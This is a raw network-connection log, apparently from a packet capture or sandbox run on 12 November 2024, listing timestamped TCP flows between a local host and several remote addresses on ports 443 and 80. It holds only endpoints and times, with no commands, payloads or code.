Nov 12, 2024 06:23:18.315025091 CET	49729	443	192.168.2.5	142.250.181.238
Nov 12, 2024 06:23:18.315030098 CET	443	49729	142.250.181.238	192.168.2.5
Nov 12, 2024 06:23:18.315115929 CET	49729	443	192.168.2.5	142.250.181.238
Nov 12, 2024 06:23:18.315309048 CET	443	49729	142.250.181.238	192.168.2.5
Nov 12, 2024 06:23:18.323190928 CET	443	49729	142.250.181.238	192.168.2.5
Nov 12, 2024 06:23:18.323307991 CET	49729	443	192.168.2.5	142.250.181.238
Nov 12, 2024 06:23:18.323318958 CET	443	49729	142.250.181.238	192.168.2.5
Nov 12, 2024 06:23:18.375822067 CET	49729	443	192.168.2.5	142.250.181.238
Nov 12, 2024 06:23:18.375828981 CET	443	49729	142.250.181.238	192.168.2.5
Nov 12, 2024 06:23:18.422564983 CET	49729	443	192.168.2.5	142.250.181.238
Nov 12, 2024 06:23:18.438020945 CET	443	49729	142.250.181.238	192.168.2.5
Nov 12, 2024 06:23:18.438189983 CET	443	49729	142.250.181.238	192.168.2.5
Nov 12, 2024 06:23:18.438218117 CET	443	49729	142.250.181.238	192.168.2.5
Nov 12, 2024 06:23:18.438245058 CET	443	49729	142.250.181.238	192.168.2.5
Nov 12, 2024 06:23:18.438266039 CET	49729	443	192.168.2.5	142.250.181.238
Nov 12, 2024 06:23:18.438277006 CET	443	49729	142.250.181.238	192.168.2.5
Nov 12, 2024 06:23:18.438303947 CET	49729	443	192.168.2.5	142.250.181.238
Nov 12, 2024 06:23:18.446439028 CET	443	49729	142.250.181.238	192.168.2.5
Nov 12, 2024 06:23:18.446685076 CET	49729	443	192.168.2.5	142.250.181.238
Nov 12, 2024 06:23:18.446691990 CET	443	49729	142.250.181.238	192.168.2.5
Nov 12, 2024 06:23:18.455169916 CET	443	49729	142.250.181.238	192.168.2.5
Nov 12, 2024 06:23:18.455574989 CET	49729	443	192.168.2.5	142.250.181.238
Nov 12, 2024 06:23:18.455580950 CET	443	49729	142.250.181.238	192.168.2.5
Nov 12, 2024 06:23:18.503607988 CET	49729	443	192.168.2.5	142.250.181.238
Nov 12, 2024 06:23:18.503616095 CET	443	49729	142.250.181.238	192.168.2.5
Nov 12, 2024 06:23:18.547631979 CET	49729	443	192.168.2.5	142.250.181.238
Nov 12, 2024 06:23:18.561454058 CET	443	49729	142.250.181.238	192.168.2.5
Nov 12, 2024 06:23:18.561641932 CET	443	49729	142.250.181.238	192.168.2.5
Nov 12, 2024 06:23:18.561798096 CET	443	49729	142.250.181.238	192.168.2.5
Nov 12, 2024 06:23:18.561877012 CET	49729	443	192.168.2.5	142.250.181.238
Nov 12, 2024 06:23:18.561891079 CET	443	49729	142.250.181.238	192.168.2.5
Nov 12, 2024 06:23:18.562005997 CET	49729	443	192.168.2.5	142.250.181.238
Nov 12, 2024 06:23:18.563074112 CET	443	49729	142.250.181.238	192.168.2.5
Nov 12, 2024 06:23:18.571338892 CET	443	49729	142.250.181.238	192.168.2.5
Nov 12, 2024 06:23:18.571405888 CET	49729	443	192.168.2.5	142.250.181.238
Nov 12, 2024 06:23:18.571412086 CET	443	49729	142.250.181.238	192.168.2.5
Nov 12, 2024 06:23:18.575561047 CET	443	49731	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:18.575651884 CET	49731	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:18.577528000 CET	49731	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:18.577537060 CET	443	49731	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:18.577765942 CET	443	49731	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:18.580324888 CET	443	49729	142.250.181.238	192.168.2.5
Nov 12, 2024 06:23:18.580353022 CET	443	49729	142.250.181.238	192.168.2.5
Nov 12, 2024 06:23:18.580379963 CET	443	49729	142.250.181.238	192.168.2.5
Nov 12, 2024 06:23:18.580395937 CET	49729	443	192.168.2.5	142.250.181.238
Nov 12, 2024 06:23:18.580401897 CET	443	49729	142.250.181.238	192.168.2.5
Nov 12, 2024 06:23:18.580427885 CET	49729	443	192.168.2.5	142.250.181.238
Nov 12, 2024 06:23:18.586637974 CET	49731	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:18.625679970 CET	49729	443	192.168.2.5	142.250.181.238
Nov 12, 2024 06:23:18.631330967 CET	443	49731	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:18.684830904 CET	443	49729	142.250.181.238	192.168.2.5
Nov 12, 2024 06:23:18.684887886 CET	443	49729	142.250.181.238	192.168.2.5
Nov 12, 2024 06:23:18.684951067 CET	443	49729	142.250.181.238	192.168.2.5
Nov 12, 2024 06:23:18.684989929 CET	443	49729	142.250.181.238	192.168.2.5
Nov 12, 2024 06:23:18.685070038 CET	49729	443	192.168.2.5	142.250.181.238
Nov 12, 2024 06:23:18.685077906 CET	443	49729	142.250.181.238	192.168.2.5
Nov 12, 2024 06:23:18.686469078 CET	443	49729	142.250.181.238	192.168.2.5
Nov 12, 2024 06:23:18.686635017 CET	49729	443	192.168.2.5	142.250.181.238
Nov 12, 2024 06:23:18.686640978 CET	443	49729	142.250.181.238	192.168.2.5
Nov 12, 2024 06:23:18.694789886 CET	443	49729	142.250.181.238	192.168.2.5
Nov 12, 2024 06:23:18.694888115 CET	49729	443	192.168.2.5	142.250.181.238
Nov 12, 2024 06:23:18.694892883 CET	443	49729	142.250.181.238	192.168.2.5
Nov 12, 2024 06:23:18.703860044 CET	443	49729	142.250.181.238	192.168.2.5
Nov 12, 2024 06:23:18.704163074 CET	49729	443	192.168.2.5	142.250.181.238
Nov 12, 2024 06:23:18.704168081 CET	443	49729	142.250.181.238	192.168.2.5
Nov 12, 2024 06:23:18.750621080 CET	49729	443	192.168.2.5	142.250.181.238
Nov 12, 2024 06:23:18.750628948 CET	443	49729	142.250.181.238	192.168.2.5
Nov 12, 2024 06:23:18.797581911 CET	49729	443	192.168.2.5	142.250.181.238
Nov 12, 2024 06:23:18.808192015 CET	443	49729	142.250.181.238	192.168.2.5
Nov 12, 2024 06:23:18.808485031 CET	443	49729	142.250.181.238	192.168.2.5
Nov 12, 2024 06:23:18.808648109 CET	443	49729	142.250.181.238	192.168.2.5
Nov 12, 2024 06:23:18.808851957 CET	49729	443	192.168.2.5	142.250.181.238
Nov 12, 2024 06:23:18.808860064 CET	443	49729	142.250.181.238	192.168.2.5
Nov 12, 2024 06:23:18.808907986 CET	49729	443	192.168.2.5	142.250.181.238
Nov 12, 2024 06:23:18.809776068 CET	443	49729	142.250.181.238	192.168.2.5
Nov 12, 2024 06:23:18.818495989 CET	443	49729	142.250.181.238	192.168.2.5
Nov 12, 2024 06:23:18.819238901 CET	49729	443	192.168.2.5	142.250.181.238
Nov 12, 2024 06:23:18.819246054 CET	443	49729	142.250.181.238	192.168.2.5
Nov 12, 2024 06:23:18.827318907 CET	443	49729	142.250.181.238	192.168.2.5
Nov 12, 2024 06:23:18.827418089 CET	49729	443	192.168.2.5	142.250.181.238
Nov 12, 2024 06:23:18.827430010 CET	443	49729	142.250.181.238	192.168.2.5
Nov 12, 2024 06:23:18.828982115 CET	443	49731	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:18.829001904 CET	443	49731	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:18.829035997 CET	443	49731	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:18.829081059 CET	49731	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:18.829101086 CET	443	49731	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:18.829133034 CET	49731	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:18.829406977 CET	49731	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:18.871488094 CET	443	49729	142.250.181.238	192.168.2.5
Nov 12, 2024 06:23:18.871524096 CET	443	49729	142.250.181.238	192.168.2.5
Nov 12, 2024 06:23:18.871562958 CET	49729	443	192.168.2.5	142.250.181.238
Nov 12, 2024 06:23:18.871572018 CET	443	49729	142.250.181.238	192.168.2.5
Nov 12, 2024 06:23:18.871639013 CET	49729	443	192.168.2.5	142.250.181.238
Nov 12, 2024 06:23:18.937606096 CET	443	49729	142.250.181.238	192.168.2.5
Nov 12, 2024 06:23:18.937661886 CET	443	49729	142.250.181.238	192.168.2.5
Nov 12, 2024 06:23:18.937690973 CET	443	49729	142.250.181.238	192.168.2.5
Nov 12, 2024 06:23:18.937719107 CET	443	49729	142.250.181.238	192.168.2.5
Nov 12, 2024 06:23:18.937752962 CET	49729	443	192.168.2.5	142.250.181.238
Nov 12, 2024 06:23:18.937769890 CET	443	49729	142.250.181.238	192.168.2.5
Nov 12, 2024 06:23:18.937818050 CET	49729	443	192.168.2.5	142.250.181.238
Nov 12, 2024 06:23:18.941571951 CET	443	49729	142.250.181.238	192.168.2.5
Nov 12, 2024 06:23:18.942393064 CET	49729	443	192.168.2.5	142.250.181.238
Nov 12, 2024 06:23:18.942401886 CET	443	49729	142.250.181.238	192.168.2.5
Nov 12, 2024 06:23:18.945977926 CET	443	49731	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:18.946005106 CET	443	49731	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:18.946091890 CET	49731	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:18.946108103 CET	443	49731	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:18.946521997 CET	49731	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:18.950475931 CET	443	49729	142.250.181.238	192.168.2.5
Nov 12, 2024 06:23:18.950937033 CET	49729	443	192.168.2.5	142.250.181.238
Nov 12, 2024 06:23:18.950942993 CET	443	49729	142.250.181.238	192.168.2.5
Nov 12, 2024 06:23:18.993446112 CET	443	49729	142.250.181.238	192.168.2.5
Nov 12, 2024 06:23:18.993509054 CET	49729	443	192.168.2.5	142.250.181.238
Nov 12, 2024 06:23:18.993514061 CET	443	49729	142.250.181.238	192.168.2.5
Nov 12, 2024 06:23:18.993524075 CET	443	49729	142.250.181.238	192.168.2.5
Nov 12, 2024 06:23:18.993599892 CET	49729	443	192.168.2.5	142.250.181.238
Nov 12, 2024 06:23:18.993607044 CET	443	49729	142.250.181.238	192.168.2.5
Nov 12, 2024 06:23:19.006664038 CET	443	49732	216.58.206.46	192.168.2.5
Nov 12, 2024 06:23:19.006952047 CET	49732	443	192.168.2.5	216.58.206.46
Nov 12, 2024 06:23:19.006966114 CET	443	49732	216.58.206.46	192.168.2.5
Nov 12, 2024 06:23:19.007360935 CET	443	49732	216.58.206.46	192.168.2.5
Nov 12, 2024 06:23:19.007437944 CET	49732	443	192.168.2.5	216.58.206.46
Nov 12, 2024 06:23:19.008073092 CET	443	49732	216.58.206.46	192.168.2.5
Nov 12, 2024 06:23:19.008193970 CET	49732	443	192.168.2.5	216.58.206.46
Nov 12, 2024 06:23:19.010025024 CET	49732	443	192.168.2.5	216.58.206.46
Nov 12, 2024 06:23:19.010090113 CET	443	49732	216.58.206.46	192.168.2.5
Nov 12, 2024 06:23:19.010193110 CET	49732	443	192.168.2.5	216.58.206.46
Nov 12, 2024 06:23:19.010299921 CET	49732	443	192.168.2.5	216.58.206.46
Nov 12, 2024 06:23:19.010308027 CET	443	49732	216.58.206.46	192.168.2.5
Nov 12, 2024 06:23:19.047519922 CET	49729	443	192.168.2.5	142.250.181.238
Nov 12, 2024 06:23:19.061177015 CET	443	49729	142.250.181.238	192.168.2.5
Nov 12, 2024 06:23:19.061233997 CET	443	49729	142.250.181.238	192.168.2.5
Nov 12, 2024 06:23:19.061261892 CET	443	49729	142.250.181.238	192.168.2.5
Nov 12, 2024 06:23:19.061270952 CET	49729	443	192.168.2.5	142.250.181.238
Nov 12, 2024 06:23:19.061279058 CET	443	49729	142.250.181.238	192.168.2.5
Nov 12, 2024 06:23:19.061320066 CET	49729	443	192.168.2.5	142.250.181.238
Nov 12, 2024 06:23:19.063149929 CET	49732	443	192.168.2.5	216.58.206.46
Nov 12, 2024 06:23:19.063215971 CET	443	49731	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:19.063239098 CET	443	49731	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:19.063325882 CET	49731	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:19.063339949 CET	443	49731	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:19.063385010 CET	49731	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:19.064985037 CET	443	49729	142.250.181.238	192.168.2.5
Nov 12, 2024 06:23:19.074146032 CET	443	49729	142.250.181.238	192.168.2.5
Nov 12, 2024 06:23:19.074179888 CET	443	49729	142.250.181.238	192.168.2.5
Nov 12, 2024 06:23:19.074218035 CET	49729	443	192.168.2.5	142.250.181.238
Nov 12, 2024 06:23:19.074227095 CET	443	49729	142.250.181.238	192.168.2.5
Nov 12, 2024 06:23:19.074265003 CET	49729	443	192.168.2.5	142.250.181.238
Nov 12, 2024 06:23:19.425256968 CET	443	49729	142.250.181.238	192.168.2.5
Nov 12, 2024 06:23:19.425318956 CET	443	49729	142.250.181.238	192.168.2.5
Nov 12, 2024 06:23:19.425350904 CET	443	49729	142.250.181.238	192.168.2.5
Nov 12, 2024 06:23:19.425375938 CET	443	49729	142.250.181.238	192.168.2.5
Nov 12, 2024 06:23:19.425380945 CET	49729	443	192.168.2.5	142.250.181.238
Nov 12, 2024 06:23:19.425395012 CET	443	49729	142.250.181.238	192.168.2.5
Nov 12, 2024 06:23:19.425437927 CET	49729	443	192.168.2.5	142.250.181.238
Nov 12, 2024 06:23:19.425858974 CET	443	49731	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:19.425868988 CET	443	49731	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:19.425904036 CET	443	49731	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:19.425926924 CET	49731	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:19.425947905 CET	443	49731	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:19.425961018 CET	49731	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:19.426027060 CET	49731	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:19.426101923 CET	443	49729	142.250.181.238	192.168.2.5
Nov 12, 2024 06:23:19.426136017 CET	443	49729	142.250.181.238	192.168.2.5
Nov 12, 2024 06:23:19.426156044 CET	49729	443	192.168.2.5	142.250.181.238
Nov 12, 2024 06:23:19.426161051 CET	443	49729	142.250.181.238	192.168.2.5
Nov 12, 2024 06:23:19.426182032 CET	443	49729	142.250.181.238	192.168.2.5
Nov 12, 2024 06:23:19.426208973 CET	443	49729	142.250.181.238	192.168.2.5
Nov 12, 2024 06:23:19.426228046 CET	49729	443	192.168.2.5	142.250.181.238
Nov 12, 2024 06:23:19.426228046 CET	443	49729	142.250.181.238	192.168.2.5
Nov 12, 2024 06:23:19.426238060 CET	443	49729	142.250.181.238	192.168.2.5
Nov 12, 2024 06:23:19.426275969 CET	49729	443	192.168.2.5	142.250.181.238
Nov 12, 2024 06:23:19.426285028 CET	443	49729	142.250.181.238	192.168.2.5
Nov 12, 2024 06:23:19.426346064 CET	443	49729	142.250.181.238	192.168.2.5
Nov 12, 2024 06:23:19.426394939 CET	49729	443	192.168.2.5	142.250.181.238
Nov 12, 2024 06:23:19.427000046 CET	443	49731	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:19.427020073 CET	443	49731	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:19.427052021 CET	49731	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:19.427057028 CET	443	49731	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:19.427090883 CET	443	49732	216.58.206.46	192.168.2.5
Nov 12, 2024 06:23:19.427095890 CET	49731	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:19.427131891 CET	49731	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:19.427427053 CET	49729	443	192.168.2.5	142.250.181.238
Nov 12, 2024 06:23:19.427442074 CET	443	49729	142.250.181.238	192.168.2.5
Nov 12, 2024 06:23:19.427449942 CET	49729	443	192.168.2.5	142.250.181.238
Nov 12, 2024 06:23:19.427535057 CET	49729	443	192.168.2.5	142.250.181.238
Nov 12, 2024 06:23:19.427831888 CET	443	49732	216.58.206.46	192.168.2.5
Nov 12, 2024 06:23:19.427978039 CET	49732	443	192.168.2.5	216.58.206.46
Nov 12, 2024 06:23:19.429299116 CET	443	49736	184.28.90.27	192.168.2.5
Nov 12, 2024 06:23:19.429357052 CET	49736	443	192.168.2.5	184.28.90.27
Nov 12, 2024 06:23:19.429861069 CET	49732	443	192.168.2.5	216.58.206.46
Nov 12, 2024 06:23:19.429873943 CET	443	49732	216.58.206.46	192.168.2.5
Nov 12, 2024 06:23:19.431654930 CET	49736	443	192.168.2.5	184.28.90.27
Nov 12, 2024 06:23:19.431660891 CET	443	49736	184.28.90.27	192.168.2.5
Nov 12, 2024 06:23:19.431889057 CET	443	49736	184.28.90.27	192.168.2.5
Nov 12, 2024 06:23:19.435080051 CET	443	49731	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:19.435096025 CET	443	49731	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:19.435162067 CET	49731	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:19.435175896 CET	443	49731	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:19.435234070 CET	49731	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:19.437032938 CET	49736	443	192.168.2.5	184.28.90.27
Nov 12, 2024 06:23:19.479334116 CET	443	49736	184.28.90.27	192.168.2.5
Nov 12, 2024 06:23:19.530867100 CET	443	49731	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:19.530884027 CET	443	49731	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:19.530951977 CET	49731	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:19.530962944 CET	443	49731	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:19.531012058 CET	49731	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:19.638345003 CET	80	49735	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:19.638425112 CET	49735	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:19.647959948 CET	443	49731	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:19.647984028 CET	443	49731	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:19.648025036 CET	49731	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:19.648037910 CET	443	49731	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:19.648063898 CET	49731	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:19.648089886 CET	49731	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:19.680371046 CET	443	49736	184.28.90.27	192.168.2.5
Nov 12, 2024 06:23:19.680433989 CET	443	49736	184.28.90.27	192.168.2.5
Nov 12, 2024 06:23:19.680526972 CET	49736	443	192.168.2.5	184.28.90.27
Nov 12, 2024 06:23:19.692888975 CET	443	49731	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:19.692907095 CET	443	49731	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:19.692960024 CET	49731	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:19.692971945 CET	443	49731	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:19.693008900 CET	49731	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:19.693017006 CET	49731	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:19.763650894 CET	49736	443	192.168.2.5	184.28.90.27
Nov 12, 2024 06:23:19.763676882 CET	443	49736	184.28.90.27	192.168.2.5
Nov 12, 2024 06:23:19.763686895 CET	49736	443	192.168.2.5	184.28.90.27
Nov 12, 2024 06:23:19.763693094 CET	443	49736	184.28.90.27	192.168.2.5
Nov 12, 2024 06:23:19.766150951 CET	443	49731	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:19.766170025 CET	443	49731	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:19.766277075 CET	49731	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:19.766290903 CET	443	49731	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:19.766335964 CET	49731	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:19.798648119 CET	49735	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:19.803462029 CET	80	49735	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:19.853414059 CET	49722	443	192.168.2.5	142.250.185.100
Nov 12, 2024 06:23:19.882569075 CET	443	49731	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:19.882587910 CET	443	49731	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:19.882649899 CET	49731	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:19.882667065 CET	443	49731	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:19.882682085 CET	49731	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:19.882797003 CET	49731	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:19.999227047 CET	443	49731	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:19.999248981 CET	443	49731	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:19.999330997 CET	49731	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:19.999349117 CET	443	49731	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:19.999362946 CET	49731	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:19.999409914 CET	49731	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:20.044003963 CET	443	49731	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:20.044020891 CET	443	49731	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:20.044059992 CET	49731	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:20.044066906 CET	443	49731	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:20.044104099 CET	49731	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:20.044126987 CET	49731	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:20.116486073 CET	443	49731	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:20.116555929 CET	443	49731	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:20.116575956 CET	49731	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:20.116610050 CET	49731	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:20.116684914 CET	49731	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:20.116700888 CET	443	49731	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:20.116708994 CET	49731	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:20.116714001 CET	443	49731	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:20.155884981 CET	49739	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:20.155919075 CET	443	49739	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:20.155997038 CET	49739	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:20.156454086 CET	49739	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:20.156467915 CET	443	49739	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:20.158399105 CET	49740	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:20.158438921 CET	443	49740	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:20.158574104 CET	49740	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:20.158690929 CET	49740	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:20.158704042 CET	443	49740	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:20.161966085 CET	49741	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:20.161989927 CET	443	49741	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:20.162132025 CET	49741	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:20.162602901 CET	49741	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:20.162615061 CET	443	49741	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:20.163831949 CET	49742	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:20.163856030 CET	443	49742	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:20.163980007 CET	49742	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:20.164865971 CET	49743	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:20.164875031 CET	443	49743	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:20.165101051 CET	49743	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:20.165249109 CET	49742	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:20.165262938 CET	443	49742	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:20.165321112 CET	49743	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:20.165328979 CET	443	49743	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:20.582181931 CET	80	49735	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:20.582271099 CET	49735	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:20.885993004 CET	443	49739	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:20.886632919 CET	49739	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:20.886651993 CET	443	49739	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:20.889218092 CET	49739	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:20.889224052 CET	443	49739	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:20.890916109 CET	443	49741	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:20.891403913 CET	49741	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:20.891422987 CET	443	49741	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:20.891957998 CET	49741	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:20.891963005 CET	443	49741	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:20.897032976 CET	443	49740	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:20.897420883 CET	49740	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:20.897448063 CET	443	49740	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:20.898044109 CET	49740	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:20.898057938 CET	443	49740	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:20.905035973 CET	443	49743	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:20.905456066 CET	49743	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:20.905472994 CET	443	49743	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:20.905859947 CET	49743	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:20.905870914 CET	443	49743	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:20.940506935 CET	443	49742	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:20.951422930 CET	49742	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:20.951452971 CET	443	49742	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:20.952389956 CET	49742	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:20.952394962 CET	443	49742	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:21.016367912 CET	443	49739	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:21.016392946 CET	443	49739	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:21.016463041 CET	443	49739	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:21.016463041 CET	49739	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:21.016637087 CET	49739	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:21.016855955 CET	49739	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:21.016876936 CET	443	49739	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:21.016886950 CET	49739	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:21.016892910 CET	443	49739	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:21.020303965 CET	49744	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:21.020328045 CET	443	49744	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:21.020564079 CET	49744	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:21.020819902 CET	49744	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:21.020833015 CET	443	49744	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:21.021908998 CET	443	49741	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:21.021925926 CET	443	49741	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:21.021965027 CET	443	49741	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:21.021997929 CET	49741	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:21.022028923 CET	49741	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:21.022172928 CET	49741	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:21.022190094 CET	443	49741	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:21.022198915 CET	49741	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:21.022205114 CET	443	49741	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:21.024316072 CET	49745	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:21.024347067 CET	443	49745	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:21.024523020 CET	49745	443	192.168.2.5	13.107.246.45
